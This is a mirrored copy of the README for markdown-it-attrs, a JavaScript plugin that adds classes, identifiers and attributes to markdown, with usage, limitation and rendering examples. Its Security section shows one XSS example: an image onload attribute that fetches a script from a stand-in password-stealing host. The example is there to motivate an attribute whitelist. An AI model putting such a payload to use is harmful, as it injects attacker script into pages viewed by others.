• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

arve0/markdown-it-attrs: Add classes, identifiers and attributes to your markdow ...

原作者: [db:作者] 来自: 网络 收藏 邀请

开源软件名称(OpenSource Name):

arve0/markdown-it-attrs

开源软件地址(OpenSource Url):

https://github.com/arve0/markdown-it-attrs

开源编程语言(OpenSource Language):

JavaScript 100.0%

开源软件介绍(OpenSource Introduction):

markdown-it-attrs Build Status npm version Coverage Status

Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc's header attributes.

Table of contents

Examples

Example input:

# header {.style-me}
paragraph {data-toggle=modal}

Output:

<h1 class="style-me">header</h1>
<p data-toggle="modal">paragraph</p>

Works with inline elements too:

paragraph *style me*{.red} more text

Output:

<p>paragraph <em class="red">style me</em> more text</p>

And fenced code blocks:


```python {data=asdf}
nums = [x for x in range(10)]
```

Output:

<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>

You can use .. as a short-hand for css-module=:

Use the css-module green on this paragraph. {..green}

Output:

<p css-module="green">Use the css-module green on this paragraph.</p>

Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):

paragraph with [a style me span]{.red}

Output:

<p>paragraph with <span class="red">a style me span</span></p>

Install

$ npm install --save markdown-it-attrs

Support

Library is considered done from my part. I'm maintaining it with bug fixes and security updates.

I'll approve pull requests that are easy to understand. Generally not willing merge pull requests that increase maintainance complexity. Feel free to open anyhow and I'll give my feedback.

If you need some extra features, I'm available for hire.

Usage

var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs, {
  // optional, these are default options
  leftDelimiter: '{',
  rightDelimiter: '}',
  allowedAttributes: []  // empty array = all attributes are allowed
});

var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);

console.log(res);

demo as jsfiddle

Security

A user may insert rogue attributes like this:

![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}

If security is a concern, use an attribute whitelist:

md.use(markdownItAttrs, {
  allowedAttributes: ['id', 'class', /^regex.*$/]
});

Now only id, class and attributes beginning with regex are allowed:

text {#red .green regex=allowed onclick=alert('hello')}

Output:

<p id="red" class="green" regex="allowed">text</p>

Limitations

markdown-it-attrs relies on markdown parsing in markdown-it, which means some special cases are not possible to fix. Like using _ outside and inside attributes:

_i want [all of this](/link){target="_blank"} to be italics_

Above example will render to:

<p>_i want <a href="/link">all of this</a>{target=&quot;<em>blank&quot;} to be italics</em></p>

...which is probably not what you wanted. Of course, you could use * for italics to solve this parsing issue:

*i want [all of this](/link){target="_blank"} to be italics*

Output:

<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>

Ambiguity

When class can be applied to both inline or block element, inline element will take precedence:

- list item **bold**{.red}

Output:

<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>

If you need the class to apply to the list item instead, use a space:

- list item **bold** {.red}

Output:

<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>

If you need the class to apply to the <ul> element, use a new line:

- list item **bold**
{.red}

Output:

<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>

If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol>. You may force it to apply to the outer <ul> by adding curly below on a paragraph by its own:

- item
  - nested item {.a}
{.b}

{.c}

Output:

<ul class="c">
  <li>item
    <ul class="b">
      <li class="a">nested item</li>
    </ul>
  </li>
</ul>

This is not optimal, but what I can do at the momemnt. For further discussion, see #32.

Similar for tables, attributes must be two new lines below:

header1 | header2
------- | -------
column1 | column2

{.special}

Output:

<table class="special">
  <thead>
    <tr>
      <th>header1</th>
      <th>header2</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>column1</td>
      <td>column2</td>
    </tr>
  </tbody>
</table>

If you need finer control, decorate might help you.

Custom rendering

If you would like some other output, you can override renderers:

const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs);

// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
  const token = tokens[idx];
  return  '<pre' + slf.renderAttrs(token) + '>'
    + '<code>' + token.content + '</code>'
    + '</pre>';
}

let src = [
  '',
  '```js {.abcd}',
  'var a = 1;',
  '```'
].join('\n')

console.log(md.render(src));

Output:

<pre class="abcd"><code>var a = 1;
</code></pre>

Read more about custom rendering at markdown-it.

Custom blocks

markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.

Remember to render attributes if you use a custom renderer.

Custom delimiters

To use different delimiters than the default, add configuration for leftDelimiter and rightDelimiter:

md.use(attrs, {
  leftDelimiter: '[',
  rightDelimiter: ']'
});

Which will render

# title [.large]

as

<h1 class="large">title</h1>

Development

Tests are in test.js.

Run all tests:

npm test

Run particular test:

npm test -- -g "not crash"

In tests, use helper function replaceDelimiters to make test run with different delimiters ({}, [] and [[]]).

For easy access to HTML output you can use debug.js:

node debug.js # will print HTML output

Please do not submit pull requests with changes in package version or built files like browser.js.

License

MIT © Arve Seljebu




鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
camacho/markdown-magic-directory-tree: Print directory tree in Markdown发布时间:2022-08-18
下一篇:
asjqkkkk/markdown_widget: 发布时间:2022-08-18
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap